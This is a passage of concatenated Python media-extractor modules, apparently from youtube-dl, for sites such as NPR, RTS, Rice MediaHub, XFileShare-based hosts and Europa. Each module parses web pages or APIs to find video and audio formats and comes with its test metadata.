            # m3u8 download
            'skip_download': True,
        },
    }

    def _real_extract(self, url):
        path = self._match_id(url)
        metadata = self._download_json('http://ici.tou.tv/presentation/%s' % path, path)
        video_id = metadata['IdMedia']
        details = metadata['Details']
        title = details['OriginalTitle']

        return {
            '_type': 'url_transparent',
            'url': 'radiocanada:%s:%s' % (metadata.get('AppCode', 'toutv'), video_id),
            'id': video_id,
            'title': title,
            'thumbnail': details.get('ImageUrl'),
            'duration': int_or_none(details.get('LengthInSeconds')),
        }






from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import compat_urllib_parse_urlencode
from ..utils import (
    int_or_none,
    qualities,
)


class NprIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?npr\.org/player/v2/mediaPlayer\.html\?.*\bid=(?P<id>\d+)'
    _TESTS = [{
        'url': 'http://www.npr.org/player/v2/mediaPlayer.html?id=449974205',
        'info_dict': {
            'id': '449974205',
            'title': 'New Music From Beach House, Chairlift, CMJ Discoveries And More'
        },
        'playlist_count': 7,
    }, {
        'url': 'http://www.npr.org/player/v2/mediaPlayer.html?action=1&t=1&islist=false&id=446928052&m=446929930&live=1',
        'info_dict': {
            'id': '446928052',
            'title': "Songs We Love: Tigran Hamasyan, 'Your Mercy is Boundless'"
        },
        'playlist': [{
            'md5': '12fa60cb2d3ed932f53609d4aeceabf1',
            'info_dict': {
                'id': '446929930',
                'ext': 'mp3',
                'title': 'Your Mercy is Boundless (Bazum en Qo gtutyunqd)',
                'duration': 402,
            },
        }],
    }]

    def _real_extract(self, url):
        playlist_id = self._match_id(url)

        config = self._download_json(
            'http://api.npr.org/query?%s' % compat_urllib_parse_urlencode({
                'id': playlist_id,
                'fields': 'titles,audio,show',
                'format': 'json',
                'apiKey': 'MDAzMzQ2MjAyMDEyMzk4MTU1MDg3ZmM3MQ010',
            }), playlist_id)

        story = config['list']['story'][0]

        KNOWN_FORMATS = ('threegp', 'mp4', 'mp3')
        quality = qualities(KNOWN_FORMATS)

        entries = []
        for audio in story.get('audio', []):
            title = audio.get('title', {}).get('$text')
            duration = int_or_none(audio.get('duration', {}).get('$text'))
            formats = []
            for format_id, formats_entry in audio.get('format', {}).items():
                if not formats_entry:
                    continue
                if isinstance(formats_entry, list):
                    formats_entry = formats_entry[0]
                format_url = formats_entry.get('$text')
                if not format_url:
                    continue
                if format_id in KNOWN_FORMATS:
                    formats.append({
                        'url': format_url,
                        'format_id': format_id,
                        'ext': formats_entry.get('type'),
                        'quality': quality(format_id),
                    })
            self._sort_formats(formats)
            entries.append({
                'id': audio['id'],
                'title': title,
                'duration': duration,
                'formats': formats,
            })

        playlist_title = story.get('title', {}).get('$text')
        return self.playlist_result(entries, playlist_id, playlist_title)






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import parse_iso8601


class Abc7NewsIE(InfoExtractor):
    _VALID_URL = r'https?://abc7news\.com(?:/[^/]+/(?P<display_id>[^/]+))?/(?P<id>\d+)'
    _TESTS = [
        {
            'url': 'http://abc7news.com/entertainment/east-bay-museum-celebrates-vintage-synthesizers/472581/',
            'info_dict': {
                'id': '472581',
                'display_id': 'east-bay-museum-celebrates-vintage-synthesizers',
                'ext': 'mp4',
                'title': 'East Bay museum celebrates history of synthesized music',
                'description': 'md5:a4f10fb2f2a02565c1749d4adbab4b10',
                'thumbnail': 're:^https?://.*\.jpg$',
                'timestamp': 1421123075,
                'upload_date': '20150113',
                'uploader': 'Jonathan Bloom',
            },
            'params': {
                # m3u8 download
                'skip_download': True,
            },
        },
        {
            'url': 'http://abc7news.com/472581',
            'only_matching': True,
        },
    ]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        display_id = mobj.group('display_id') or video_id

        webpage = self._download_webpage(url, display_id)

        m3u8 = self._html_search_meta(
            'contentURL', webpage, 'm3u8 url', fatal=True)

        formats = self._extract_m3u8_formats(m3u8, display_id, 'mp4')
        self._sort_formats(formats)

        title = self._og_search_title(webpage).strip()
        description = self._og_search_description(webpage).strip()
        thumbnail = self._og_search_thumbnail(webpage)
        timestamp = parse_iso8601(self._search_regex(
            r'<div class="meta">\s*<time class="timeago" datetime="([^"]+)">',
            webpage, 'upload date', fatal=False))
        uploader = self._search_regex(
            r'rel="author">([^<]+)</a>',
            webpage, 'uploader', default=None)

        return {
            'id': video_id,
            'display_id': display_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'timestamp': timestamp,
            'uploader': uploader,
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    decode_packed_codes,
    ExtractorError,
    int_or_none,
    NO_DEFAULT,
    sanitized_Request,
    urlencode_postdata,
)


class XFileShareIE(InfoExtractor):
    _SITES = (
        ('daclips.in', 'DaClips'),
        ('filehoot.com', 'FileHoot'),
        ('gorillavid.in', 'GorillaVid'),
        ('movpod.in', 'MovPod'),
        ('powerwatch.pw', 'PowerWatch'),
        ('rapidvideo.ws', 'Rapidvideo.ws'),
        ('thevideobee.to', 'TheVideoBee'),
        ('vidto.me', 'Vidto'),
        ('streamin.to', 'Streamin.To'),
        ('xvidstage.com', 'XVIDSTAGE'),
    )

    IE_DESC = 'XFileShare based sites: %s' % ', '.join(list(zip(*_SITES))[1])
    _VALID_URL = (r'https?://(?P<host>(?:www\.)?(?:%s))/(?:embed-)?(?P<id>[0-9a-zA-Z]+)'
                  % '|'.join(re.escape(site) for site in list(zip(*_SITES))[0]))

    _FILE_NOT_FOUND_REGEXES = (
        r'>(?:404 - )?File Not Found<',
        r'>The file was removed by administrator<',
    )

    _TESTS = [{
        'url': 'http://gorillavid.in/06y9juieqpmi',
        'md5': '5ae4a3580620380619678ee4875893ba',
        'info_dict': {
            'id': '06y9juieqpmi',
            'ext': 'mp4',
            'title': 'Rebecca Black My Moment Official Music Video Reaction-6GK87Rc8bzQ',
            'thumbnail': 're:http://.*\.jpg',
        },
    }, {
        'url': 'http://gorillavid.in/embed-z08zf8le23c6-960x480.html',
        'only_matching': True,
    }, {
        'url': 'http://daclips.in/3rso4kdn6f9m',
        'md5': '1ad8fd39bb976eeb66004d3a4895f106',
        'info_dict': {
            'id': '3rso4kdn6f9m',
            'ext': 'mp4',
            'title': 'Micro Pig piglets ready on 16th July 2009-bG0PdrCdxUc',
            'thumbnail': 're:http://.*\.jpg',
        }
    }, {
        'url': 'http://movpod.in/0wguyyxi1yca',
        'only_matching': True,
    }, {
        'url': 'http://filehoot.com/3ivfabn7573c.html',
        'info_dict': {
            'id': '3ivfabn7573c',
            'ext': 'mp4',
            'title': 'youtube-dl test video \'äBaW_jenozKc.mp4.mp4',
            'thumbnail': 're:http://.*\.jpg',
        },
        'skip': 'Video removed',
    }, {
        'url': 'http://vidto.me/ku5glz52nqe1.html',
        'info_dict': {
            'id': 'ku5glz52nqe1',
            'ext': 'mp4',
            'title': 'test'
        }
    }, {
        'url': 'http://powerwatch.pw/duecjibvicbu',
        'info_dict': {
            'id': 'duecjibvicbu',
            'ext': 'mp4',
            'title': 'Big Buck Bunny trailer',
        },
    }, {
        'url': 'http://xvidstage.com/e0qcnl03co6z',
        'info_dict': {
            'id': 'e0qcnl03co6z',
            'ext': 'mp4',
            'title': 'Chucky Prank 2015.mp4',
        },
    }, {
        # removed by administrator
        'url': 'http://xvidstage.com/amfy7atlkx25',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')

        url = 'http://%s/%s' % (mobj.group('host'), video_id)
        webpage = self._download_webpage(url, video_id)

        if any(re.search(p, webpage) for p in self._FILE_NOT_FOUND_REGEXES):
            raise ExtractorError('Video %s does not exist' % video_id, expected=True)

        fields = self._hidden_inputs(webpage)

        if fields['op'] == 'download1':
            countdown = int_or_none(self._search_regex(
                r'<span id="countdown_str">(?:[Ww]ait)?\s*<span id="cxc">(\d+)</span>\s*(?:seconds?)?</span>',
                webpage, 'countdown', default=None))
            if countdown:
                self._sleep(countdown, video_id)

            post = urlencode_postdata(fields)

            req = sanitized_Request(url, post)
            req.add_header('Content-type', 'application/x-www-form-urlencoded')

            webpage = self._download_webpage(req, video_id, 'Downloading video page')

        title = (self._search_regex(
            [r'style="z-index: [0-9]+;">([^<]+)</span>',
             r'<td nowrap>([^<]+)</td>',
             r'h4-fine[^>]*>([^<]+)<',
             r'>Watch (.+) ',
             r'<h2 class="video-page-head">([^<]+)</h2>'],
            webpage, 'title', default=None) or self._og_search_title(webpage)).strip()

        def extract_video_url(default=NO_DEFAULT):
            return self._search_regex(
                (r'file\s*:\s*(["\'])(?P<url>http.+?)\1,',
                 r'file_link\s*=\s*(["\'])(?P<url>http.+?)\1',
                 r'addVariable\((\\?["\'])file\1\s*,\s*(\\?["\'])(?P<url>http.+?)\2\)',
                 r'<embed[^>]+src=(["\'])(?P<url>http.+?)\1'),
                webpage, 'file url', default=default, group='url')

        video_url = extract_video_url(default=None)

        if not video_url:
            webpage = decode_packed_codes(self._search_regex(
                r"(}\('(.+)',(\d+),(\d+),'[^']*\b(?:file|embed)\b[^']*'\.split\('\|'\))",
                webpage, 'packed code'))
            video_url = extract_video_url()

        thumbnail = self._search_regex(
            r'image\s*:\s*["\'](http[^"\']+)["\'],', webpage, 'thumbnail', default=None)

        formats = [{
            'format_id': 'sd',
            'url': video_url,
            'quality': 1,
        }]

        return {
            'id': video_id,
            'title': title,
            'thumbnail': thumbnail,
            'formats': formats,
        }






from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    smuggle_url,
)


class MinistryGridIE(InfoExtractor):
    _VALID_URL = r'https?://www\.ministrygrid.com/([^/?#]*/)*(?P<id>[^/#?]+)/?(?:$|[?#])'

    _TEST = {
        'url': 'http://www.ministrygrid.com/training-viewer/-/training/t4g-2014-conference/the-gospel-by-numbers-4/the-gospel-by-numbers',
        'md5': '844be0d2a1340422759c2a9101bab017',
        'info_dict': {
            'id': '3453494717001',
            'ext': 'mp4',
            'title': 'The Gospel by Numbers',
            'thumbnail': 're:^https?://.*\.jpg',
            'upload_date': '20140410',
            'description': 'Coming soon from T4G 2014!',
            'uploader_id': '2034960640001',
            'timestamp': 1397145591,
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
        'add_ie': ['TDSLifeway'],
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)
        portlets = self._parse_json(self._search_regex(
            r'Liferay\.Portlet\.list=(\[.+?\])', webpage, 'portlet list'),
            video_id)
        pl_id = self._search_regex(
            r'getPlid:function\(\){return"(\d+)"}', webpage, 'p_l_id')

        for i, portlet in enumerate(portlets):
            portlet_url = 'http://www.ministrygrid.com/c/portal/render_portlet?p_l_id=%s&p_p_id=%s' % (pl_id, portlet)
            portlet_code = self._download_webpage(
                portlet_url, video_id,
                note='Looking in portlet %s (%d/%d)' % (portlet, i + 1, len(portlets)),
                fatal=False)
            video_iframe_url = self._search_regex(
                r'<iframe.*?src="([^"]+)"', portlet_code, 'video iframe',
                default=None)
            if video_iframe_url:
                return self.url_result(
                    smuggle_url(video_iframe_url, {'force_videoid': video_id}),
                    video_id=video_id)

        raise ExtractorError('Could not find video iframe in any portlets')






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import compat_parse_qs
from ..utils import (
    xpath_text,
    xpath_element,
    int_or_none,
    parse_iso8601,
    ExtractorError,
)


class RICEIE(InfoExtractor):
    _VALID_URL = r'https?://mediahub\.rice\.edu/app/[Pp]ortal/video\.aspx\?(?P<query>.+)'
    _TEST = {
        'url': 'https://mediahub.rice.edu/app/Portal/video.aspx?PortalID=25ffd62c-3d01-4b29-8c70-7c94270efb3e&DestinationID=66bc9434-03bd-4725-b47e-c659d8d809db&ContentID=YEWIvbhb40aqdjMD1ALSqw',
        'md5': '9b83b4a2eead4912dc3b7fac7c449b6a',
        'info_dict': {
            'id': 'YEWIvbhb40aqdjMD1ALSqw',
            'ext': 'mp4',
            'title': 'Active Learning in Archeology',
            'upload_date': '20140616',
            'timestamp': 1402926346,
        }
    }
    _NS = 'http://schemas.datacontract.org/2004/07/ensembleVideo.Data.Service.Contracts.Models.Player.Config'

    def _real_extract(self, url):
        qs = compat_parse_qs(re.match(self._VALID_URL, url).group('query'))
        if not qs.get('PortalID') or not qs.get('DestinationID') or not qs.get('ContentID'):
            raise ExtractorError('Invalid URL', expected=True)

        portal_id = qs['PortalID'][0]
        playlist_id = qs['DestinationID'][0]
        content_id = qs['ContentID'][0]

        content_data = self._download_xml('https://mediahub.rice.edu/api/portal/GetContentTitle', content_id, query={
            'portalId': portal_id,
            'playlistId': playlist_id,
            'contentId': content_id
        })
        metadata = xpath_element(content_data, './/metaData', fatal=True)
        title = xpath_text(metadata, 'primaryTitle', fatal=True)
        encodings = xpath_element(content_data, './/encodings', fatal=True)
        player_data = self._download_xml('https://mediahub.rice.edu/api/player/GetPlayerConfig', content_id, query={
            'temporaryLinkId': xpath_text(encodings, 'temporaryLinkId', fatal=True),
            'contentId': content_id,
        })

        common_fmt = {}
        dimensions = xpath_text(encodings, 'dimensions')
        if dimensions:
            wh = dimensions.split('x')
            if len(wh) == 2:
                common_fmt.update({
                    'width': int_or_none(wh[0]),
                    'height': int_or_none(wh[1]),
                })

        formats = []
        rtsp_path = xpath_text(player_data, self._xpath_ns('RtspPath', self._NS))
        if rtsp_path:
            fmt = {
                'url': rtsp_path,
                'format_id': 'rtsp',
            }
            fmt.update(common_fmt)
            formats.append(fmt)
        for source in player_data.findall(self._xpath_ns('.//Source', self._NS)):
            video_url = xpath_text(source, self._xpath_ns('File', self._NS))
            if not video_url:
                continue
            if '.m3u8' in video_url:
                formats.extend(self._extract_m3u8_formats(video_url, content_id, 'mp4', 'm3u8_native', m3u8_id='hls', fatal=False))
            else:
                fmt = {
                    'url': video_url,
                    'format_id': video_url.split(':')[0],
                }
                fmt.update(common_fmt)
                rtmp = re.search(r'^(?P<url>rtmp://[^/]+/(?P<app>.+))/(?P<playpath>mp4:.+)$', video_url)
                if rtmp:
                    fmt.update({
                        'url': rtmp.group('url'),
                        'play_path': rtmp.group('playpath'),
                        'app': rtmp.group('app'),
                        'ext': 'flv',
                    })
                formats.append(fmt)
        self._sort_formats(formats)

        thumbnails = []
        for content_asset in content_data.findall('.//contentAssets'):
            asset_type = xpath_text(content_asset, 'type')
            if asset_type == 'image':
                image_url = xpath_text(content_asset, 'httpPath')
                if not image_url:
                    continue
                thumbnails.append({
                    'id': xpath_text(content_asset, 'ID'),
                    'url': image_url,
                })

        return {
            'id': content_id,
            'title': title,
            'description': xpath_text(metadata, 'abstract'),
            'duration': int_or_none(xpath_text(metadata, 'duration')),
            'timestamp': parse_iso8601(xpath_text(metadata, 'dateUpdated')),
            'thumbnails': thumbnails,
            'formats': formats,
        }






# coding=utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    unified_strdate,
)


class JpopsukiIE(InfoExtractor):
    IE_NAME = 'jpopsuki.tv'
    _VALID_URL = r'https?://(?:www\.)?jpopsuki\.tv/(?:category/)?video/[^/]+/(?P<id>\S+)'

    _TEST = {
        'url': 'http://www.jpopsuki.tv/video/ayumi-hamasaki---evolution/00be659d23b0b40508169cdee4545771',
        'md5': '88018c0c1a9b1387940e90ec9e7e198e',
        'info_dict': {
            'id': '00be659d23b0b40508169cdee4545771',
            'ext': 'mp4',
            'title': 'ayumi hamasaki - evolution',
            'description': 'Release date: 2001.01.31\r\n浜崎あゆみ - evolution',
            'thumbnail': 'http://www.jpopsuki.tv/cache/89722c74d2a2ebe58bcac65321c115b2.jpg',
            'uploader': 'plama_chan',
            'uploader_id': '404',
            'upload_date': '20121101'
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        video_url = 'http://www.jpopsuki.tv' + self._html_search_regex(
            r'<source src="(.*?)" type', webpage, 'video url')

        video_title = self._og_search_title(webpage)
        description = self._og_search_description(webpage)
        thumbnail = self._og_search_thumbnail(webpage)
        uploader = self._html_search_regex(
            r'<li>from: <a href="/user/view/user/(.*?)/uid/',
            webpage, 'video uploader', fatal=False)
        uploader_id = self._html_search_regex(
            r'<li>from: <a href="/user/view/user/\S*?/uid/(\d*)',
            webpage, 'video uploader_id', fatal=False)
        upload_date = unified_strdate(self._html_search_regex(
            r'<li>uploaded: (.*?)</li>', webpage, 'video upload_date',
            fatal=False))
        view_count_str = self._html_search_regex(
            r'<li>Hits: ([0-9]+?)</li>', webpage, 'video view_count',
            fatal=False)
        comment_count_str = self._html_search_regex(
            r'<h2>([0-9]+?) comments</h2>', webpage, 'video comment_count',
            fatal=False)

        return {
            'id': video_id,
            'url': video_url,
            'title': video_title,
            'description': description,
            'thumbnail': thumbnail,
            'uploader': uploader,
            'uploader_id': uploader_id,
            'upload_date': upload_date,
            'view_count': int_or_none(view_count_str),
            'comment_count': int_or_none(comment_count_str),
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    str_to_int,
)


class PornoXOIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?pornoxo\.com/videos/(?P<id>\d+)/(?P<display_id>[^/]+)\.html'
    _TEST = {
        'url': 'http://www.pornoxo.com/videos/7564/striptease-from-sexy-secretary.html',
        'md5': '582f28ecbaa9e6e24cb90f50f524ce87',
        'info_dict': {
            'id': '7564',
            'ext': 'flv',
            'title': 'Striptease From Sexy Secretary!',
            'description': 'Striptease From Sexy Secretary!',
            'categories': list,  # NSFW
            'thumbnail': 're:https?://.*\.jpg$',
            'age_limit': 18,
        }
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')

        webpage = self._download_webpage(url, video_id)

        video_url = self._html_search_regex(
            r'\'file\'\s*:\s*"([^"]+)"', webpage, 'video_url')

        title = self._html_search_regex(
            r'<title>([^<]+)\s*-\s*PornoXO', webpage, 'title')

        description = self._html_search_regex(
            r'<meta name="description" content="([^"]+)\s*featuring',
            webpage, 'description', fatal=False)

        thumbnail = self._html_search_regex(
            r'\'image\'\s*:\s*"([^"]+)"', webpage, 'thumbnail', fatal=False)

        view_count = str_to_int(self._html_search_regex(
            r'[vV]iews:\s*([0-9,]+)', webpage, 'view count', fatal=False))

        categories_str = self._html_search_regex(
            r'<meta name="description" content=".*featuring\s*([^"]+)"',
            webpage, 'categories', fatal=False)
        categories = (
            None if categories_str is None
            else categories_str.split(','))

        return {
            'id': video_id,
            'url': video_url,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'categories': categories,
            'view_count': view_count,
            'age_limit': 18,
        }






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import re

from .common import InfoExtractor


class CriterionIE(InfoExtractor):
    _VALID_URL = r'https?://www\.criterion\.com/films/(?P<id>[0-9]+)-.+'
    _TEST = {
        'url': 'http://www.criterion.com/films/184-le-samourai',
        'md5': 'bc51beba55685509883a9a7830919ec3',
        'info_dict': {
            'id': '184',
            'ext': 'mp4',
            'title': 'Le Samouraï',
            'description': 'md5:a2b4b116326558149bef81f76dcbb93f',
        }
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        webpage = self._download_webpage(url, video_id)

        final_url = self._search_regex(
            r'so.addVariable\("videoURL", "(.+?)"\)\;', webpage, 'video url')
        title = self._og_search_title(webpage)
        description = self._html_search_meta('description', webpage)
        thumbnail = self._search_regex(
            r'so.addVariable\("thumbnailURL", "(.+?)"\)\;',
            webpage, 'thumbnail url')

        return {
            'id': video_id,
            'url': final_url,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .srgssr import SRGSSRIE
from ..compat import (
    compat_str,
    compat_urllib_parse_urlparse,
)
from ..utils import (
    int_or_none,
    parse_duration,
    parse_iso8601,
    unescapeHTML,
    xpath_text,
)


class RTSIE(SRGSSRIE):
    IE_DESC = 'RTS.ch'
    _VALID_URL = r'rts:(?P<rts_id>\d+)|https?://(?:www\.)?rts\.ch/(?:[^/]+/){2,}(?P<id>[0-9]+)-(?P<display_id>.+?)\.html'

    _TESTS = [
        {
            'url': 'http://www.rts.ch/archives/tv/divers/3449373-les-enfants-terribles.html',
            'md5': 'f254c4b26fb1d3c183793d52bc40d3e7',
            'info_dict': {
                'id': '3449373',
                'display_id': 'les-enfants-terribles',
                'ext': 'mp4',
                'duration': 1488,
                'title': 'Les Enfants Terribles',
                'description': 'France Pommier et sa soeur Luce Feral, les deux filles de ce groupe de 5.',
                'uploader': 'Divers',
                'upload_date': '19680921',
                'timestamp': -40280400,
                'thumbnail': 're:^https?://.*\.image',
                'view_count': int,
            },
            'params': {
                # m3u8 download
                'skip_download': True,
            }
        },
        {
            'url': 'http://www.rts.ch/emissions/passe-moi-les-jumelles/5624067-entre-ciel-et-mer.html',
            'md5': 'f1077ac5af686c76528dc8d7c5df29ba',
            'info_dict': {
                'id': '5742494',
                'display_id': '5742494',
                'ext': 'mp4',
                'duration': 3720,
                'title': 'Les yeux dans les cieux - Mon homard au Canada',
                'description': 'md5:d22ee46f5cc5bac0912e5a0c6d44a9f7',
                'uploader': 'Passe-moi les jumelles',
                'upload_date': '20140404',
                'timestamp': 1396635300,
                'thumbnail': 're:^https?://.*\.image',
                'view_count': int,
            },
            'params': {
                # m3u8 download
                'skip_download': True,
            }
        },
        {
            'url': 'http://www.rts.ch/video/sport/hockey/5745975-1-2-kloten-fribourg-5-2-second-but-pour-gotteron-par-kwiatowski.html',
            'md5': 'b4326fecd3eb64a458ba73c73e91299d',
            'info_dict': {
                'id': '5745975',
                'display_id': '1-2-kloten-fribourg-5-2-second-but-pour-gotteron-par-kwiatowski',
                'ext': 'mp4',
                'duration': 48,
                'title': '1/2, Kloten - Fribourg (5-2): second but pour Gottéron par Kwiatowski',
                'description': 'Hockey - Playoff',
                'uploader': 'Hockey',
                'upload_date': '20140403',
                'timestamp': 1396556882,
                'thumbnail': 're:^https?://.*\.image',
                'view_count': int,
            },
            'skip': 'Blocked outside Switzerland',
        },
        {
            'url': 'http://www.rts.ch/video/info/journal-continu/5745356-londres-cachee-par-un-epais-smog.html',
            'md5': '9f713382f15322181bb366cc8c3a4ff0',
            'info_dict': {
                'id': '5745356',
                'display_id': 'londres-cachee-par-un-epais-smog',
                'ext': 'mp4',
                'duration': 33,
                'title': 'Londres cachée par un épais smog',
                'description': 'Un important voile de smog recouvre Londres depuis mercredi, provoqué par la pollution et du sable du Sahara.',
                'uploader': 'Le Journal en continu',
                'upload_date': '20140403',
                'timestamp': 1396537322,
                'thumbnail': 're:^https?://.*\.image',
                'view_count': int,
            },
            'params': {
                # m3u8 download
                'skip_download': True,
            }
        },
        {
            'url': 'http://www.rts.ch/audio/couleur3/programmes/la-belle-video-de-stephane-laurenceau/5706148-urban-hippie-de-damien-krisl-03-04-2014.html',
            'md5': 'dd8ef6a22dff163d063e2a52bc8adcae',
            'info_dict': {
                'id': '5706148',
                'display_id': 'urban-hippie-de-damien-krisl-03-04-2014',
                'ext': 'mp3',
                'duration': 123,
                'title': '"Urban Hippie", de Damien Krisl',
                'description': 'Des Hippies super glam.',
                'upload_date': '20140403',
                'timestamp': 1396551600,
            },
        },
        {
            # article with videos on rhs
            'url': 'http://www.rts.ch/sport/hockey/6693917-hockey-davos-decroche-son-31e-titre-de-champion-de-suisse.html',
            'info_dict': {
                'id': '6693917',
                'title': 'Hockey: Davos décroche son 31e titre de champion de Suisse',
            },
            'playlist_mincount': 5,
        }
    ]

    def _real_extract(self, url):
        m = re.match(self._VALID_URL, url)
        media_id = m.group('rts_id') or m.group('id')
        display_id = m.group('display_id') or media_id

        def download_json(internal_id):
            return self._download_json(
                'http://www.rts.ch/a/%s.html?f=json/article' % internal_id,
                display_id)

        all_info = download_json(media_id)

        # media_id extracted out of URL is not always a real id
        if 'video' not in all_info and 'audio' not in all_info:
            page = self._download_webpage(url, display_id)

            # article with videos on rhs
            videos = re.findall(
                r'<article[^>]+class="content-item"[^>]*>\s*<a[^>]+data-video-urn="urn:([^"]+)"',
                page)
            if not videos:
                videos = re.findall(
                    r'(?s)<iframe[^>]+class="srg-player"[^>]+src="[^"]+urn:([^"]+)"',
                    page)
            if videos:
                entries = [self.url_result('srgssr:%s' % video_urn, 'SRGSSR') for video_urn in videos]
                return self.playlist_result(entries, media_id, self._og_search_title(page))

            internal_id = self._html_search_regex(
                r'<(?:video|audio) data-id="([0-9]+)"', page,
                'internal video id')
            all_info = download_json(internal_id)

        media_type = 'video' if 'video' in all_info else 'audio'

        # check for errors
        self.get_media_data('rts', media_type, media_id)

        info = all_info['video']['JSONinfo'] if 'video' in all_info else all_info['audio']

        upload_timestamp = parse_iso8601(info.get('broadcast_date'))
        duration = info.get('duration') or info.get('cutout') or info.get('cutduration')
        if isinstance(duration, compat_str):
            duration = parse_duration(duration)
        view_count = info.get('plays')
        thumbnail = unescapeHTML(info.get('preview_image_url'))

        def extract_bitrate(url):
            return int_or_none(self._search_regex(
                r'-([0-9]+)k\.', url, 'bitrate', default=None))

        formats = []
        for format_id, format_url in info['streams'].items():
            if format_id == 'hds_sd' and 'hds' in info['streams']:
                continue
            if format_id == 'hls_sd' and 'hls' in info['streams']:
                continue
            if format_url.endswith('.f4m'):
                token = self._download_xml(
                    'http://tp.srgssr.ch/token/akahd.xml?stream=%s/*' % compat_urllib_parse_urlparse(format_url).path,
                    media_id, 'Downloading %s token' % format_id)
                auth_params = xpath_text(token, './/authparams', 'auth params')
                if not auth_params:
                    continue
                formats.extend(self._extract_f4m_formats(
                    '%s?%s&hdcore=3.4.0&plugin=aasp-3.4.0.132.66' % (format_url, auth_params),
                    media_id, f4m_id=format_id, fatal=False))
            elif format_url.endswith('.m3u8'):
                formats.extend(self._extract_m3u8_formats(
                    format_url, media_id, 'mp4', 'm3u8_native', m3u8_id=format_id, fatal=False))
            else:
                formats.append({
                    'format_id': format_id,
                    'url': format_url,
                    'tbr': extract_bitrate(format_url),
                })

        if 'media' in info:
            formats.extend([{
                'format_id': '%s-%sk' % (media['ext'], media['rate']),
                'url': 'http://download-video.rts.ch/%s' % media['url'],
                'tbr': media['rate'] or extract_bitrate(media['url']),
            } for media in info['media'] if media.get('rate')])

        self._check_formats(formats, media_id)
        self._sort_formats(formats)

        return {
            'id': media_id,
            'display_id': display_id,
            'formats': formats,
            'title': info['title'],
            'description': info.get('intro'),
            'duration': duration,
            'view_count': view_count,
            'uploader': info.get('programName'),
            'timestamp': upload_timestamp,
            'thumbnail': thumbnail,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import compat_urlparse
from ..utils import (
    int_or_none,
    orderedSet,
    parse_duration,
    qualities,
    unified_strdate,
    xpath_text
)


class EuropaIE(InfoExtractor):
    _VALID_URL = r'https?://ec\.europa\.eu/avservices/(?:video/player|audio/audioDetails)\.cfm\?.*?\bref=(?P<id>[A-Za-z0-9-]+)'
    _TESTS = [{
        'url': 'http://ec.europa.eu/avservices/video/player.cfm?ref=I107758',
        'md5': '574f080699ddd1e19a675b0ddf010371',
        'info_dict': {
            'id': 'I107758',
            'ext': 'mp4',
            'title': 'TRADE - Wikileaks on TTIP',
            'description': 'NEW  LIVE EC Midday press briefing of 11/08/2015',
            'thumbnail': 're:^https?://.*\.jpg$',
            'upload_date': '20150811',
            'duration': 34,
            'view_count': int,
            'formats': 'mincount:3',
        }
    }, {
        'url': 'http://ec.europa.eu/avservices/video/player.cfm?sitelang=en&ref=I107786',
        'only_matching': True,
    }, {
        'url': 'http://ec.europa.eu/avservices/audio/audioDetails.cfm?ref=I-109295&sitelang=en',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        playlist = self._download_xml(
            'http://ec.europa.eu/avservices/video/player/playlist.cfm?ID=%s' % video_id, video_id)

        def get_item(type_, preference):
            items = {}
            for item in playlist.findall('./info/%s/item' % type_):
                lang, label = xpath_text(item, 'lg', default=None), xpath_text(item, 'label', default=None)
                if lang and label:
                    items[lang] = label.strip()
            for p in preference:
                if items.get(p):
                    return items[p]

        query = compat_urlparse.parse_qs(compat_urlparse.urlparse(url).query)
        preferred_lang = query.get('sitelang', ('en', ))[0]

        preferred_langs = orderedSet((preferred_lang, 'en', 'int'))

        title = get_item('title', preferred_langs) or video_id
        description = get_item('description', preferred_langs)
        thumbnmail = xpath_text(playlist, './info/thumburl', 'thumbnail')
        upload_date = unified_strdate(xpath_text(playlist, './info/date', 'upload date'))
        duration = parse_duration(xpath_text(playlist, './info/duration', 'duration'))
        view_count = int_or_none(xpath_text(playlist, './info/views', 'views'))

        language_preference = qualities(preferred_langs[::-1])

        formats = []
        for file_ in playlist.findall('./files/file'):
            video_url = xpath_text(file_, './url')
            if not video_url:
                continue
            lang = xpath_text(file_, './lg')
            formats.append({
                'url': video_url,
                'format_id': lang,
                'format_note': xpath_text(file_, './lglabel'),
                'language_preference': language_preference(lang)
            })
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnmail,
            'upload_date': upload_date,
            'duration': duration,
            'view_count': view_count,
            'formats': formats
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import compat_urllib_parse_urlparse
from ..utils import (
    determine_ext,
    float_or_none,
)


class SpiegeltvIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?spiegel\.tv/(?:#/)?filme/(?P<id>[\-a-z0-9]+)'
    _TESTS = [{
        'url': 'http://www.spiegel.tv/filme/flug-mh370/',
        'info_dict': {
            'id': 'flug-mh370',
            'ext': 'm4v',
            'title': 'Flug MH370',
